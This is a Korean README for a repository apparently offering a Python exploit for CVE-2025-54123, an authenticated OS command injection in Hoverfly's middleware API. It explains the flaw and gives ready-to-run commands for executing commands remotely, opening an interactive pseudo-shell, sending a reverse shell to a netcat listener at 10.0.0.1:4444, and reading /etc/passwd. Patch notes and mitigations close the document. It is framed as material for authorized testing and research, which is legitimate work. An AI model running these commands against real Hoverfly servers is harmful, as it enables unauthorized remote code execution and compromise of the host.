
인증된 RCE 익스플로잇 - Hoverfly ≤ 1.11.3 (CVE-2025-54123) 대상, 미들웨어 API의 OS 명령 주입을 통함. 단일 명령 실행, 대화형 유사 셸 및 리버스 셸을 지원하며, 승인된 보안 테스트용입니다.
Hoverfly ≤ 1.11.3에서 OS 명령 주입을 통한 인증된 RCE
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2025-54123 |
| CVSS 점수 | 9.8 — 치명적 |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS 명령 주입), CWE-20 (부적절한 입력 검증) |
| 제품 | Hoverfly — 오픈소스 API 시뮬레이션 도구 |
| 영향 버전 | 1.11.3을 포함한 모든 버전 |
| 수정 버전 | 1.12.0 (패치 커밋) |
| 권고 | GHSA-r4h8-hfp2-ggmf |
여기에 케이스 스터디 심층 분석 및 화이트박스/블랙박스 관점의 기술 분석이 있습니다: https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly는 시뮬레이션 구성을 관리하기 위한 RESTful 관리 API(기본 포트 8888)를 노출합니다. 미들웨어 관리 엔드포인트 **/api/v2/hoverfly/middleware**는 외부 미들웨어 프로세스를 정의하는 binary 및 script 필드가 포함된 JSON 본문을 수락합니다.
이 취약점은 세 가지 코드 수준의 결함의 조합에서 비롯됩니다:
불충분한 입력 검증 — middleware.go:93-96: SetBinary() 함수는 binary 매개변수를 검증이나 정제 없이 수락하여 공격자가 임의의 실행 파일(예: bash)을 지정할 수 있게 합니다.
안전하지 않은 명령 실행 — local_middleware.go:14-19: 미들웨어는 exec.Command()를 통해 실행되며, 공격자가 제어하는 binary 및 script 값이 직접 인수로 전달되어 OS 명령 주입을 가능하게 합니다.
테스트 중 즉시 실행 — hoverfly_service.go:173: API를 통해 미들웨어가 설정되면, Hoverfly는 즉시 미들웨어를 실행하여 테스트하므로, 프록시 차단 시점이 아닌 구성 시점에 주입된 명령이 트리거됩니다.
공격자 Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) 인증
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) 페이로드 주입
│ { "binary": "bash", │
│ "script": "<악성 명령>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) 즉시 실행
│ │ → 공격자 명령이 Hoverfly 프로세스 ││
│ │ 사용자 권한으로 실행됨 ││
│ └──────────────────────────────────┘│
│ │
│<── 오류 응답에 명령 출력 포함 ────│ (4) 출력 유출
│ │
admin / 설정 가능한 비밀번호)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
대상 도달 가능성 및 인증 확인 (익스플로잇 없이):
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
대상에서 단일 OS 명령 실행:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
지속적인 셸 세션으로 진입:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
리스너로 리버스 셸 전송:
# 터미널 1 — 리스너 시작
nc -lvnp 4444
# 터미널 2 — 익스플로잇 실행
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
트래픽을 Burp Suite를 통해 라우팅하여 검사:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
수정 사항(commit 17e60a9)은 기본적으로 설정 미들웨어 API를 비활성화합니다. 이후 문서 변경(commit a9d4da7)을 통해 사용자에게 이 엔드포인트 노출의 보안 영향을 알립니다.
이 도구는 승인된 보안 테스트 및 교육 연구 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 CFAA 및 전 세계의 동등한 법률에 따라 불법입니다. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # 정제된 익스플로잇
│ └── raw_exploit.py # 원본 PoC
├── Images/ # 연구 스크린샷
├── Reference/ # 학습용 참조 익스플로잇
├── requirements.txt # Python 의존성
└── README.md # 이 파일
Phantom Hat — 보안 연구원
이 연구는 교육 목적의 취약점 사례 연구의 일환으로 수행되었습니다.
| 플래그 | 설명 | 기본값 |
|---|
-u, --url | 대상 Hoverfly URL | 필수 |
-U, --username | 관리자 사용자 이름 | 필수 |
-P, --password | 관리자 비밀번호 | 필수 |
-c, --command | 실행할 OS 명령 | — |
-C, --check | 확인 전용 모드 (익스플로잇 없음) | false |
-i, --interactive | 대화형 의사 셸 | false |
--revshell | 리버스 셸 LHOST:LPORT | — |
--proxy | 127.0.0.1:8080을 통해 라우팅 | false |
--timeout | 요청 시간 초과 (초) | 15 |
-v, --verbose | 상세 출력 활성화 | false |
| 조치 | 세부 사항 |
|---|
| 업그레이드 | Hoverfly를 v1.12.0 이상으로 업데이트 (설정 미들웨어 API가 기본적으로 비활성화됨) |
| 네트워크 분할 | Hoverfly 관리 API(포트 8888)에 대한 접근을 신뢰할 수 있는 네트워크로만 제한 |
| 인증 | Hoverfly 관리 API에 강력하고 고유한 비밀번호 사용 |
| 모니터링 | /api/v2/hoverfly/middleware에 대한 예상치 못한 PUT 요청 모니터링 |